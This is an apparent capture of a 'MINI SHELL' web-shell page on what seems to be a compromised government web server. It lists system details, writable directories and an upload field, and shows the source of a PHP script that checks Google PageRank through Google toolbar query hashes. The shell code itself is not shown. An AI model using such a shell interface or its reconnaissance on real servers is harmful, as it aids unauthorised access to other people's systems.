MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_integration/pathumthani_drug/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_integration/pathumthani_drug/libraries/vupr.php
<?php
	error_reporting(E_ALL & ~E_NOTICE);
	ini_set('display_errors', 1);
	
	if (!function_exists('curl_init')) {
		throw new Exception('SEOstats requires the PHP CURL extension.');
		exit();
	}
	
	if (1 == ini_get('safe_mode') || 'on' === strtolower(ini_get('safe_mode'))) {
		throw new Exception('Because some SEOstats functions require the CURLOPT_FOLLOWLOCATION flag, you must not run PHP in safe mode! (This flag can not be set in safe mode.)');
		exit();
	}
	
	interface pref { const PREFERED_TLD     = "com"; }
	interface tbr {
		const SERVER_HOSTS    = '["toolbarqueries.google.","alt1.toolbarqueries.google."]';
		const SERVER_TLDS     = '["com","ae","com.af","com.ag","com.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","com.bh","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","cz","de","dj","dk","dm","com.do","com.ec","ee","com.eg","es","com.et","fi","com.fj","fm","fr","co.uk","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","ht","hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","co.ma","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","com.qa","ro","ru","rw","com.sa","sc","se","com.sg","sh","si","sk","sm","sn","com.sv","co.th","com.tj","tm","to","com.tr","tt","com.tw","com.ua","co.ug","com.uy","co.uz","com.vc","co.ve","vg","co.vi","com.vn","co.za","co.zm"]';
		const SERVER_PATH     = "/tbr";
		const QUERY_STRING    = "?features=Rank&client=navclient-auto&ch=%s&q=info:%s";
		const SUGGEST_TLD_URL = "https://www.google.com/searchdomaincheck?format=domain&sourceid=navclient-ff";
	}
	
	class GTB_PageRank implements tbr, pref {
		public $QUERY_URL, $URL_HASHES, $PREFERED_TLD, $GTB_SUGESSTED_TLD, $GTB_QUERY_STRINGS;
		private $GTB_SERVER;
		
		public static function getUrl($url = false) {
			$url = false !== $url ? $url : self::$_url;
			return $url;
		}
		
		public function __construct($a=NULL) {
			if(NULL===$a) { 
				GTB_Exception::noUrl(); 
			}
			$this->GTB_SERVER = array(
				"host" => GTB_HELPER::_json_decode(tbr::SERVER_HOSTS),
				"tld"  => GTB_HELPER::_json_decode(tbr::SERVER_TLDS),
				"path" => tbr::SERVER_PATH
			);
			if (!in_array(self::getPref('tld'), self::getTbrTlds() )) {
				GTB_Exception::invalidPref('PREFERED_TLD');
			} else {
				$this->PREFERED_TLD = pref::PREFERED_TLD; 
				$this->GTB_SUGESSTED_TLD = self::getTbrTldSuggestion(); 
			}
			$init = self::setQueryURL($a);
			if (TRUE !== $init) {
				GTB_Exception::tryAgain();
			}
		}
		
		public function getPageRank() {
			$host  = $this->GTB_SERVER['host'][0];
			$tld   = (strlen($this->GTB_SUGESSTED_TLD) > 0) ? $this->GTB_SUGESSTED_TLD : $this->PREFERED_TLD;
			$path  = $this->GTB_SERVER['path'];
			$tbUrl = 'http://' . $host . $tld . $path;	
			$qStrings = self::getQueryStrings();
			if(isset($qStrings[0])) {
				$PR = self::getToolbarPageRank($tbUrl . $qStrings[0]);
				if ($PR !== FALSE) {
					return $PR;
				} else {
					if (isset($qStrings[1])) {
						$PR = self::getToolbarPageRank($tbUrl . $qStrings[1]);
						if ($PR !== FALSE) {
							return $PR;
						} else {
							if (isset($qStrings[2])) {
								$PR = self::getToolbarPageRank($tbUrl . $qStrings[2]);
								if ($PR !== FALSE) {
									return $PR;
								} else {
									if (isset($qStrings[3])) {
										$PR = self::getToolbarPageRank($tbUrl . $qStrings[3]);
										if ($PR !== FALSE) {
											return $PR;
										} else {
											return 'Failed to generate a valid hash for PR check.';
										}
									}
								}
							}
						}
					}
				}
			} else {
				return 'Failed to generate a valid hash for PR check.';
			}
		}
		
		public function getToolbarPageRank($toolbarUrl) {
			$ret = GTB_Request::_get($toolbarUrl);
			$pagerank = trim(substr($ret, 9));
			return (!preg_match('/^[0-9]/',$pagerank)) ? FALSE : $pagerank;
		}
		
		public function getQueryURL() {
			return $this->QUERY_URL;
		}
		
		public function getHash($k) {
			$array = $this->URL_HASHES;
			return $array[$k];
		}
		
		public function getHashes() {
			return $this->URL_HASHES;
		}
		
		public function getQueryStrings() {
			return $this->GTB_QUERY_STRINGS;
		}
		
		public function getQueryUrls($limit=NULL) {
			$a = self::getQueryUrl();
			$b = self::getHashes();
			$QueryUrls = array();
			$limit = (NULL!==$limit && is_numeric($limit)) ? (int)$limit : 0; 
			$c = 0;
			foreach ( $b as $k => $v ) { 
				if ( is_string($v) AND strlen($v) > 0 ) {
					$rs = sprintf(tbr::QUERY_STRING, $v, $a);
					foreach ( $this->GTB_SERVER['host'] as $host ) {
						foreach ($this->GTB_SERVER['tld'] as $tld) {
							$tbUri = 'http://'. $host . $tld . tbr::SERVER_PATH . $rs;
							if ( $c < $limit || $limit == 0 ) {
								$QueryUrls[] = $tbUri;
							}
							$c++;
						}
					}
				}
			} 
			return (sizeof($QueryUrls)>0) ? $QueryUrls : FALSE;
		}
		
		public function getTbrServer() {
			return $this->GTB_SERVER; 
		}
		
		public function getTbrHosts() {
			return $this->GTB_SERVER['host']; 
		}
		
		public function getTbrTlds() {
			return $this->GTB_SERVER['tld']; 
		}
		
		public function getTbrTldSuggestion() {
			$tmp = explode(".google.", GTB_Request::_get(tbr::SUGGEST_TLD_URL));
			return trim($tmp[1]);
		}
		
		public function getTbrPath() {
			return $this->GTB_SERVER['path']; 
		}
		
		public function getPref($k) {
			if ($k == 'tld') {
				return pref::PREFERED_TLD;
			}
		}
		
		public function GPR_awesomeHash() {
			$a = self::getQueryURL();
			if (NULL!==$a) {
				return GTB_awesomeHash::awesomeHash($a); }
			else { GTB_Exception::noUrl(); }
		}
		
		public function GPR_jenkinsHash() {
			$a = self::getQueryURL();
			if (NULL!==$a) {
				return GTB_jenkinsHash::jenkinsHash($a); }
			else { GTB_Exception::noUrl(); }
		}
		
		public function GPR_jenkinsHash2() {
			$a = self::getQueryURL();
			if (NULL!==$a) {
				return GTB_jenkinsHash::jenkinsHash2($a); }
			else { GTB_Exception::noUrl(); }
		}
		
		public function GPR_ieHash() {
			$a = self::getQueryURL();
			if (NULL!==$a) {
				return GTB_ieHash::ieHash($a); }
			else { GTB_Exception::noUrl(); }
		}
		
		private function setQueryURL($a) {
			$this->QUERY_URL = $a;
			$b = array(
				'jenkins' => self::GPR_jenkinsHash(),
				'jenkins2'=> self::GPR_jenkinsHash2(),
				'ie'      => self::GPR_ieHash(),
				'awesome' => self::GPR_awesomeHash() );
			$this->URL_HASHES = $b;
			return (bool) self::setQueryStrings($a, $b);
		}
		
		private function setQueryStrings($a,$b) {
			$qs = array();
			foreach ($b as $k => $v) {
				if(is_string($v) && strlen($v) > 0) {
					$qs[] = sprintf(tbr::QUERY_STRING, $v, $a);
				}
			} 
			if (sizeof($qs) > 0) {
				$this->GTB_QUERY_STRINGS = $qs;
				return TRUE; 
			}
			return FALSE;
		}
	}
	
	class GTB_awesomeHash extends GTB_PageRank {
		const HASH_SEED = "Mining PageRank is AGAINST GOOGLE'S TERMS OF SERVICE. Yes, I'm talking to you, scammer.";
		
		public static function awesomeHash($a) {
			return self::_awesomeHash($a);
		}
		
		public static function _awesomeHash($a) {
			$b = 16909125; for ($c=0; $c<strlen($a); $c++) {
				$b ^= (GTB_Helper::charCodeAt(self::HASH_SEED, ($c%87))) ^ (GTB_Helper::charCodeAt($a, $c));
				$b = GTB_Helper::unsignedRightShift($b, 23) | $b << 9;
			}
			return '8'. GTB_Helper::hexEncodeU32($b);
		}
	}
	
	class GTB_jenkinsHash extends GTB_PageRank {
		public static function jenkinsHash($a) {
			$b = GTB_Helper::strOrds("info:".$a);
			return self::_jenkinsHash ($b);
		}
		
		public static function jenkinsHash2($a) {
			$ch = sprintf("%u", self::_jenkinsHash($a, FALSE));
			$ch = ((GTB_Helper::leftShift32(($ch/7), 2)) | ((GTB_Helper::_fmod($ch, 13)) & 7));
			$buf = array($ch);
			for($i=1; $i<20; $i++) { $buf[$i] = $buf[$i-1]-9; }
			return sprintf("6%u", self::_jenkinsHash(GTB_Helper::c32to8bit($buf), FALSE));
		}
		
		public static function _jenkinsHash($key, $encode=TRUE) {
			$url = $key;
			$length = sizeof($url);
			$a = $b = 0x000000009E3779B9;
			$c = 0x00000000E6359A60;
			$k = 0; $len = $length;
			while($len >= 12) {
				$a += $url[$k+0];
				$a += GTB_Helper::leftShift32($url[$k+1],  8);
				$a += GTB_Helper::leftShift32($url[$k+2], 16);
				$a += GTB_Helper::leftShift32($url[$k+3], 24);
				$b += $url[$k+4];
				$b += GTB_Helper::leftShift32($url[$k+5],  8);
				$b += GTB_Helper::leftShift32($url[$k+6], 16);
				$b += GTB_Helper::leftShift32($url[$k+7], 24);
				$c += $url[$k+8];
				$c += GTB_Helper::leftShift32($url[$k+9],  8);
				$c += GTB_Helper::leftShift32($url[$k+10],16);
				$c += GTB_Helper::leftShift32($url[$k+11],24);
				$mix = self::hashmixJenkins2($a, $b, $c);
				$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
				$len -= 12; $k += 12;
			}   $c += $length;
			switch($len) {
				case 11: $c += GTB_Helper::leftShift32($url[$k+10],24);
				case 10: $c += GTB_Helper::leftShift32($url[$k+9], 16);
				case 9 : $c += GTB_Helper::leftShift32($url[$k+8],  8);
				case 8 : $b += GTB_Helper::leftShift32($url[$k+7], 24);
				case 7 : $b += GTB_Helper::leftShift32($url[$k+6], 16);
				case 6 : $b += GTB_Helper::leftShift32($url[$k+5],  8);
				case 5 : $b += $url[$k+4];
				case 4 : $a += GTB_Helper::leftShift32($url[$k+3], 24);
				case 3 : $a += GTB_Helper::leftShift32($url[$k+2], 16);
				case 2 : $a += GTB_Helper::leftShift32($url[$k+1],  8);
				case 1 : $a += $url[$k+0];
			}
			$mix = self::hashmixJenkins2($a, $b, $c);
			$ch  = GTB_Helper::mask32($mix[2]);
			$ch  = ($encode!==TRUE) ? $ch : sprintf("6%u", $ch);
			return $ch;
		}
		
		private static function hashmixJenkins2($a, $b, $c) {
			$a -= $b; $a -= $c; $a ^= GTB_Helper::unsignedRightShift($c, 13);
			$b -= $c; $b -= $a; $b ^= GTB_Helper::leftShift32($a, 8);
			$c -= $a; $c -= $b; $c ^= GTB_Helper::unsignedRightShift(($b & 0x00000000FFFFFFFF), 13);
			$a -= $b; $a -= $c; $a ^= GTB_Helper::unsignedRightShift(($c & 0x00000000FFFFFFFF), 12);
			$b -= $c; $b -= $a; $b  = ($b ^ (GTB_Helper::leftShift32($a, 16))) & 0x00000000FFFFFFFF;
			$c -= $a; $c -= $b; $c  = ($c ^ (GTB_Helper::unsignedRightShift($b,  5))) & 0x00000000FFFFFFFF;
			$a -= $b; $a -= $c; $a  = ($a ^ (GTB_Helper::unsignedRightShift($c,  3))) & 0x00000000FFFFFFFF;
			$b -= $c; $b -= $a; $b  = ($b ^ (GTB_Helper::leftShift32($a, 10))) & 0x00000000FFFFFFFF;
			$c -= $a; $c -= $b; $c  = ($c ^ (GTB_Helper::unsignedRightShift($b, 15))) & 0x00000000FFFFFFFF;
			return array($a, $b, $c);
		}
	}
	
	class GTB_ieHash extends GTB_PageRank {
		public static function ieHash ($a) {
			return self::_ieHash($a);
		}
		
		public static function _ieHash ($a) {
			$NumHashString = sprintf('%u', self::hashmixIE($a));
			$NumHashLength = strlen($NumHashString);
			$CheckByte = 0;
			for ($i=($NumHashLength-1); $i>=0; $i--) {
				$Num = $NumHashString{$i};
				$CheckByte += (1===($i % 2)) ? (int)((($Num*2)/10)+(($Num*2)%10)) : $Num;
			}   $CheckByte %= 10;
			if ($CheckByte !== 0) {
				$CheckByte = 10-$CheckByte;
				if (($NumHashLength % 2) === 1) {
					if (($CheckByte % 2) === 1) {
						$CheckByte += 9; }
					$CheckByte >>= 1; }
			}
			return '7'.$CheckByte.$NumHashString;
		}
		
		public static function hashmixIE ($url) {
			$c1 =  GTB_Helper::strToNum($url, 0x1505, 0x21);
			$c2 =  GTB_Helper::strToNum($url, 0,   0x1003f);
			$c1 =  GTB_Helper::unsignedRightShift($c1, 2);
			$c1 = (GTB_Helper::unsignedRightShift($c1, 4) & 0x3ffffc0) | ($c1 &   0x3f);
			$c1 = (GTB_Helper::unsignedRightShift($c1, 4) &  0x3ffc00) | ($c1 &  0x3ff);
			$c1 = (GTB_Helper::unsignedRightShift($c1, 4) &   0x3c000) | ($c1 & 0x3fff);
			$t1 = (GTB_Helper::leftShift32( ( GTB_Helper::leftShift32( ($c1 &      0x3c0), 4) | ($c1 &   0x3c)),   2)) | ($c2 &     0xf0f);
			$t2 = (GTB_Helper::leftShift32( ( GTB_Helper::leftShift32( ($c1 & 0xffffc000), 4) | ($c1 & 0x3c00)), 0xa)) | ($c2 & 0xf0f0000);
			return GTB_Helper::mask32(($t1 | $t2));
		}
	}
	
	class GTB_Helper extends GTB_PageRank {
		public static function leftShift32($x, $y) {
			$n = $x << $y;
			if (PHP_INT_MAX != 0x80000000) {
				$n = -(~($n & 0x00000000FFFFFFFF) + 1);
			} return (int)$n;
		}
		
		public static function unsignedRightShift($x, $y) {
			if (0xffffffff < $x || -0xffffffff > $x) {
				$x = GTB_Helper::_fmod($x, 0xffffffff + 1);
			}
			if (0x7fffffff < $x) {
				$x -= 0xffffffff + 1.0;
			} elseif (-0x80000000 > $x) {
				$x += 0xffffffff + 1.0;
			}
			if (0 > $x) {
				$x &= 0x7fffffff;
				$x >>= $y;   
				$x |= 1 << (31 - $y);  
			} else {
				$x >>= $y;            
			}
			return (int)$x;
		}
		
		public static function mask32($a) {
			if (PHP_INT_MAX != 0x0000000080000000) {
			  $a = -(~($a  & 0x00000000FFFFFFFF) + 1);
			} return (int)$a;
		}
		
		public static function hexEncodeU32 ($a) {
			$b  = self::toHex8(self::unsignedRightShift($a, 24));
			$b .= self::toHex8(self::unsignedRightShift($a, 16) & 255);
			$b .= self::toHex8(self::unsignedRightShift($a,  8) & 255);
			return $b . self::toHex8($a & 255);
		}
		
		public static function toHex8 ($a) {
			return ($a < 16 ? "0" : "") . dechex($a);
		}
		
		public static function charCodeAt($a, $b) {
			$a = mb_convert_encoding($a,"UCS-4BE","UTF-8");
			$c = unpack("N", mb_substr($a,$b,1,"UCS-4BE"));
			return $c[1];
		}
		
		public static function strOrds($a) {
			$b = array();
			$a = mb_convert_encoding($a,"UCS-4BE","UTF-8");
			for ($i=0; $i<mb_strlen($a,"UCS-4BE"); $i++) {
				$c = unpack("N", mb_substr($a,$i,1,"UCS-4BE"));
				$b[] = $c[1]; }
			return $b;
		}
		
		public static function c32to8bit($arr32) {
			for($i=0; $i<sizeof($arr32); $i++) {
				for ($bitOrder=$i*4; $bitOrder<=$i*4+3; $bitOrder++) {
					 $arr8[$bitOrder] = $arr32[$i] & 255;
					 $arr32[$i] = self::unsignedRightShift($arr32[$i], 8); }
			} return $arr8;
		}
		
		public static function strToNum ($str, $c, $k) {
			$int32unit = 4294967296; 
			for ($i=0; $i<strlen($str); $i++) {
			  $c *= $k;
			  if ($c >= $int32unit) {
				  $c = ($c - $int32unit * (int)($c / $int32unit));
				  $c = ($c < 0x0000000080000000) ? ($c + $int32unit) : $c;
			  }
			  $c += GTB_Helper::charCodeAt($str, $i);
			} return $c;
		}
		
		public static function _fmod($x, $y) {
			$i = floor( $x / $y );
			return (int)( $x - $i * $y );
		}
		
		public static function array_rand_val($a, $n=1) {
			shuffle($a);  
			$b = array();
			for ($i=0; $i<$n; $i++) {
				$b[] = $a[$i]; }
			return $n==1 ? $b[0] : $b;
		}
		
		public static function array_rand_val_assoc($a, $n=1) {
			$k = array_keys($a);
			shuffle($k);   
			$b = array();
			for ($i=0; $i<$n; $i++) {
				$b[$k[$i]] = $a[$k[$i]]; }
			return $b;
		}
		
		public static function _json_decode($a) { 
			if (TRUE !== function_exists('json_decode')) {
				$m = array();
				preg_match_all('#"(.*?)"#si', $a, $m);
				return (isset($m[1]) && sizeof($m[1])>0) ? $m[1] : FALSE;
			} else {
				return json_decode($a);	
			}	
		}
	}
	
	class GTB_Request extends GTB_PageRank {
		public static function _get($url) {
			if (!function_exists('curl_init')) {
				return self::GetWithoutCurl($url); } 
			else {
				return self::GetWithCurl($url); }
		}
		
		
		private static function GetWithCurl($url) {
			$ch  = curl_init($url);
			curl_setopt($ch,CURLOPT_USERAGENT,'' );
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
			curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
			curl_setopt($ch,CURLOPT_MAXREDIRS,2);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			$str = curl_exec($ch);
			curl_close($ch);
			return $str;
		}
	}
	
	class GTB_Exception extends Exception {
		static function noUrl() {
			header("Content-Type: text/plain;");
			throw new GTB_Exception("No Query URL defined! Use `new GTB_PageRank('http://www.domain.tld')` to create a new GTB_PageRank object.");
			exit(0);
		}
		
		static function tryAgain() {
			header("Content-Type: text/plain;");
			throw new GTB_Exception("Error. Please try again!");
			exit(0);
		}
	}
	
	if (!isset($_REQUEST['d'])) die("ERR_NO_DOM\n");
	
	try {
		$url = $_REQUEST['d'];		

		$gtb = new GTB_PageRank(GTB_PageRank::getUrl($url));
		$pagerank = $gtb->getPageRank();
		echo "The current Google PageRank for {$url} is {$pagerank}.\n";
	} catch (Exception $e) {
		echo 'Caught SEOstatsException: ' .  $e->getMessage();
	}
?>

Anon7 - 2021